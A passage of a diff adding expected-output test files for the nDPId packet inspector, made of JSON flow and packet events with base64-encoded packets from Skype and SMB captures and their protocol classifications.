+00469{"flow_id":203,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2104,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":169029,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKegMAAEARfSzAqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00428{"flow_id":256,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2105,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":224058,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"PBXCt3IO0NQSxnP1CABFCAAtCrhAADYGRAVbvth9wKgBIgG7yGaCZHokpqFYalAYA6DYZwAAFwMBAAAA"} +00421{"flow_id":256,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2106,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":224170,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFCAAoY0lAAEAG4XjAqAEiW77YfchmAbumoVhqAAAAAFAEAADwrAAA"} +00438{"flow_id":240,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2108,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":351732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0srBAAHMGQ5BH7gfLwKgBIklPyFnlnJZIkJ8rGYAQ\/6J0mQAAAQEICgMcyjs+Mpws"} +00509{"flow_id":240,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2109,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":351735,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"PBXCt3IO0NQSxnP1CABFAABmsrFAAHMGQ11H7gfLwKgBIklPyFnlnJZIkJ8rGYAZ\/6JyXQAAAQEICgMcyjs+MpwsZBZO\/lnBnsg0dCVQeqMbFcMi5x2cxvVY3grUM9xFR9ksPv3jFA1FPSSFtIV0qkuTN3I="} +00450{"flow_id":268,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2114,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":824882,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jcNAAEAGNhLAqAEilQ0gD8h0NFB7qA9PDQLVqIAZEChVXAAAAQEICj4yntI\/gOaLNT3NT3k1sQY="} +00451{"flow_id":262,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2115,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970706,"pkt_ts_usec":984168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA86IVAAEAG20\/AqAEilQ0gD8htNFBZKlBIDM1B14AZECmUywAAAQEICj4yn3E\/iaNOv+3qnuBIGqs="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2116,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":1,"flow_first_seen":1431970707102,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":51318,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":270,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2116,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":102885,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA\/2lAAEAGnL7AqAEi1KEIJMh2NFCv5GiXAAAAALAC\/\/+lEAAAAgQFtAEDAwUBAQgKPjKf5wAAAAAEAgAA"} +00449{"flow_id":270,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2117,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":176073,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADQGqCzUoQgkwKgBIjRQyHapD3vnr+RomKASOJCFFQAAAgQFrAQCCAo\/p5PEPjKf5wEDAwk="} +00437{"flow_id":270,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2118,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":176148,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0qAZAAEAG9C3AqAEi1KEIJMh2NFCv5GiYqQ976IAQECzb9gAAAQEICj4yoDA\/p5PE"} +00540{"flow_id":270,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2119,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":176681,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"0NQSxnP1PBXCt3IOCABFAAB9blhAAEAGLZPAqAEi1KEIJMh2NFCv5GiYqQ976IAYECy2tAAAAQEICj4yoDA\/p5PEOvphUqitoijdudy1GqYdl2SMInokobwdC35PBooej9FUTH8IzU2MFpTqtcHWuMRaxGVSGxBBflcc3WpT6DkWD3RVgovAMa7HzA=="} +00437{"flow_id":270,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2120,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":251528,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA06D5AADQGv\/XUoQgkwKgBIjRQyHapD3vor+Ro4YAQAB3rqQAAAQEICj+nk9c+MqAw"} +00549{"flow_id":270,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2121,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":251983,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"PBXCt3IO0NQSxnP1CABFAACE6D9AADQGv6TUoQgkwKgBIjRQyHapD3vor+Ro4YAYAB3FGgAAAQEICj+nk9c+MqAwbgRiMe0MNJpnsW\/NfOuljXSRyyed9+RwWvZ2xheS8RFTkCgQMVJ7bqL96Sh\/6PCnZh9E5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKk="} +00438{"flow_id":270,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2122,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":252048,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0\/cJAAEAGnnHAqAEi1KEIJMh2NFCv5GjhqQ98OIAQECnbAwAAAQEICj4yoHo\/p5PX"} +00450{"flow_id":270,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2123,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":252573,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WA1AAEAGRB\/AqAEi1KEIJMh2NFCv5GjhqQ98OIAYECmofQAAAQEICj4yoHo\/p5PX6wz3Jw7OQXM="} +00429{"flow_id":235,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2124,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":409651,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAunF8AAEARwoPAqAEirjGr4DLdfQsAGuvkfc8CwbP5+\/0XaLBIocIya3up"} +00428{"flow_id":236,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2125,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":409651,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAu7o0AAEARapvAqAEiUx8MrTLdXYMAGunwfdECOswvcOuv5soiKh7QcjIR"} +00450{"flow_id":270,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2126,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":636184,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA86y5AAEAGsP3AqAEi1KEIJMh2NFCv5GjhqQ98OIAYECmm\/QAAAQEICj4yofo\/p5PX6wz3Jw7OQXM="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2131,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1431970707911,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"133.236.67.25","src_port":13021,"dst_port":49195,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":271,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2131,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970707,"pkt_ts_usec":911507,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAu+nsAAEAR9XPAqAEihexDGTLdwCsAGiMOfdMCo1rvIegrMqRysYXm5vlz"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2131,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":1,"flow_first_seen":1431970707911,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"133.236.67.25","src_port":13021,"dst_port":49195,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00450{"flow_id":270,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2132,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970708,"pkt_ts_usec":204706,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ct5AAEAGKU7AqAEi1KEIJMh2NFCv5GjhqQ98OIAYECmkxgAAAQEICj4ypDE\/p5PX6wz3Jw7OQXM="} +00451{"flow_id":263,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2134,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970708,"pkt_ts_usec":272876,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8xlJAAEAGdJ\/AqAEiXU\/gsMhvOKrhhkX0fWkiXIAZECl4zgAAAQEICj4ypHUANM5rAJngurdz24A="} +00450{"flow_id":265,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2144,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970708,"pkt_ts_usec":429074,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA84MtAAEAGu2DAqAEi1KEIJMhxNFBceQ04qm6w0IAZEClcngAAAQEICj4ypRE\/pB5axn8ujwJhcPA="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2145,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":1,"flow_first_seen":1431970708715,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":51319,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":272,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2145,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970708,"pkt_ts_usec":715662,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWHtAAEAGQ63AqAEi1KEIJMh3NFBvQ5mUAAAAALAC\/\/+uawAAAgQFtAEDAwUBAQgKPjKmLwAAAAAEAgAA"} +00450{"flow_id":268,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2146,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970708,"pkt_ts_usec":726988,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8s5VAAEAGEEDAqAEilQ0gD8h0NFB7qA9PDQLVqIAZEChN9AAAAQEICj4ypjo\/gOaLNT3NT3k1sQY="} diff --git a/test/results/skype_udp.pcap.out b/test/results/skype_udp.pcap.out new file mode 100644 index 000000000..a67924b2c --- /dev/null +++ b/test/results/skype_udp.pcap.out @@ -0,0 +1,8 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"skype_udp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1156534494734,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"24.224.190.149","src_port":35990,"dst_port":39262,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"skype_udp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1156534494,"pkt_ts_usec":734879,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"ABbjGScVAAR2lnvaCABFAAA7AABAAEARoZLAqAECGOC+lYyWmV4AJ5lYFpcCrtEAh3kuASsbNLlPtKfPLsSj70vZ59IfZD23vQ=="} +00437{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"skype_udp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1156534496,"pkt_ts_usec":782355,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"ABbjGScVAAR2lnvaCABFAAA7AABAAEARoZLAqAECGOC+lYyWmV4AJ5lYFpcCqvCj5HkuAStybQoRs8uOXAH\/9ayvdzDWsfxVrg=="} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"skype_udp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1156534494734,"flow_last_seen":1156534496782,"flow_tot_l4_data_len":78,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"24.224.190.149","src_port":35990,"dst_port":39262,"l4_proto":"udp","ndpi": {"proto":"Skype","breed":"Acceptable"}} +00437{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"skype_udp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1156534500,"pkt_ts_usec":825691,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"ABbjGScVAAR2lnvaCABFAAA7AABAAEARoZLAqAECGOC+lYyWmV4AJ5lYFpcCvuoUBXkuASuSYOIkRaPfGbxEfOnC\/51D4o9Ncw=="} +00527{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"skype_udp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1156534494734,"flow_last_seen":1156534500825,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"24.224.190.149","src_port":35990,"dst_port":39262,"l4_proto":"udp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00417{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"skype_udp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1156534567,"pkt_ts_usec":55540,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABbjGScVAAR2lnvaCABFAAAuAABAAEARoZ\/AqAECGOC+lYyWmV4AGplLsGsC8X+1b++522uzltBGo\/MQ"} +00417{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"skype_udp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1156534567,"pkt_ts_usec":244697,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"AAR2lnvaABbjGScVCABFAAAuy+IAAGUR8LwY4L6VwKgBAplejJYAGg6E4FcCztAyD8zMjQ7u\/eBiRTNa"} diff --git a/test/results/smb_deletefile.pcap.out b/test/results/smb_deletefile.pcap.out new file mode 100644 index 000000000..d3cbbc74f --- /dev/null +++ b/test/results/smb_deletefile.pcap.out @@ -0,0 +1,17 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"smb_deletefile.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1584368315417,"flow_last_seen":0,"flow_tot_l4_data_len":400,"flow_min_l4_data_len":400,"flow_max_l4_data_len":400,"flow_avg_l4_data_len":400,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.118","dst_ip":"192.168.1.187","src_port":56848,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00972{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368315,"pkt_ts_usec":417275,"pkt_caplen":434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":434,"pkt_l4_len":400,"pkt":"2MuK4S0uKDc3AG3ICABFAAGkAABAAEAGtNLAqAF2wKgBu94QAb3ooAVq8kMyI1AYqgDfmAAAAAABeP5TTUJAAAEAAAAAAAUAAAEAAAAAmAAAAJwPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAA5AAAAAgAAAAAAAAAAAAAAAAAAAAAAAACBABAAEAAAAAcAAAABAAAAAQAAAHgAHAAAAAAAAAAAAEwAdQBjAGEAXABEAG8AdwBuAGwAbwBhAGQAcwAAAAAA\/lNNQkAAAQAAAAAADgAAAQQAAACIAAAAnQ8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAACEAJQMAAAAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/2AAJgAAAAEAaQBuAG4AbwBzAGUAdAB1AHAALQA1AC4ANgAuADEALgBlAHgAZQAAAP5TTUJAAAEAAAAAAAYAAAEEAAAAAAAAAJ4PAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAP\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"smb_deletefile.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1584368315417,"flow_last_seen":0,"flow_tot_l4_data_len":400,"flow_min_l4_data_len":400,"flow_max_l4_data_len":400,"flow_avg_l4_data_len":400,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.118","dst_ip":"192.168.1.187","src_port":56848,"dst_port":445,"l4_proto":"tcp","ndpi": {"proto":"NetBIOS.SMBv23","breed":"Acceptable","category":"System"}} +01092{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368315,"pkt_ts_usec":418447,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"KDc3AG3I2MuK4S0uCABFAAIcOK5AAIAGO6zAqAG7wKgBdgG93hDyQzIj6KAG5lAYEAjw+QAAAAAB8P5TTUJAAAEAAAAAAAUAAAABAAAAmAAAAJwPAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAABZAAAAAQAAAPJad+s0itQBeC8Pcpz71QGM0O1xnPvVAYzQ7XGc+9UBACAAAAAAAAAAIAAAAAAAABEAAAAAAAAAEgQAAAoAAABlAAAACgAAAAAAAAAAAAAA\/lNNQkAAAQAAAAAADgAAAAUAAADYAAAAnQ8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAkASACOAAAAAAAAAAAAAAAzwlM5LZjUATN2tkyb+9UBqrZQPC2Y1AHHrtHNIlnVAYD0HQAAAAAAAAAeAAAAAAAgAAAAJgAAAAAAAAAYAEkATgBOAE8AUwBFAH4AMQAuAEUAWABFAAAAq04CAAAAAQBpAG4AbgBvAHMAZQB0AHUAcAAtADUALgA2AC4AMQAuAGUAeABlAAAA\/lNNQkAAAQAAAAAABgADAAUAAAAAAAAAng8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00413{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368315,"pkt_ts_usec":418500,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2MuK4S0uKDc3AG3ICABFAAAoAABAAEAGtk7AqAF2wKgBu94QAb3ooAbm8kM0F1AQqfyLpgAA"} +00896{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":575781,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"2MuK4S0uKDc3AG3ICABFAAFsAABAAEAGtQrAqAF2wKgBu94QAb3ooAbm8kM0F1AYqgDGowAAAAABQP5TTUJAAAEAAAAAAAUAAAEAAAAAgAAAAJ8PAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAAA5AAAAAgAAAAAAAAAAAAAAAAAAAAAAAACBABAAEAAAAAcAAAABAAAAAQAAAHgAAAAAAAAAAAAAAAAAAAAAAAAA\/lNNQkAAAQAAAAAADgAAAQQAAABoAAAAoA8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAACEAJQMAAAAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/2AACAAAAAEATAB1AGMAYQD+U01CQAABAAAAAAAGAAABBAAAAAAAAAChDwAAAAAAAP\/+AAARAAAAHQAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/"} +01047{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"smb_deletefile.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1584368317,"pkt_ts_usec":576871,"pkt_caplen":522,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":522,"pkt_l4_len":488,"pkt":"KDc3AG3I2MuK4S0uCABFAAH8OLFAAIAGO8nAqAG7wKgBdgG93hDyQzQX6KAIKlAYEAdr9gAAAAAB0P5TTUJAAAEAAAAAAAUAAAABAAAAmAAAAJ8PAAAAAAAA\/\/4AABEAAAAdAAAAACgAAAAAAAAAAAAAAAAAAAAAAABZAAAAAQAAAHF8fnEN3tQBwjwds5371QFsgQlGF1nVAZpBFPwbWdUBABAAAAAAAAAAEAAAAAAAABEAAAAAAAAAEwQAAAoAAADNAAAACgAAAAAAAAAAAAAA\/lNNQkAAAQAAAAAADgAAAAUAAAC4AAAAoA8AAAAAAAD\/\/gAAEQAAAB0AAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAkASABwAAAAAAAAAAAAAABsgQlGF1nVAaWmw1ic+9UBpabDWJz71QGlpsNYnPvVAQAAAAAAAAAAAAAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA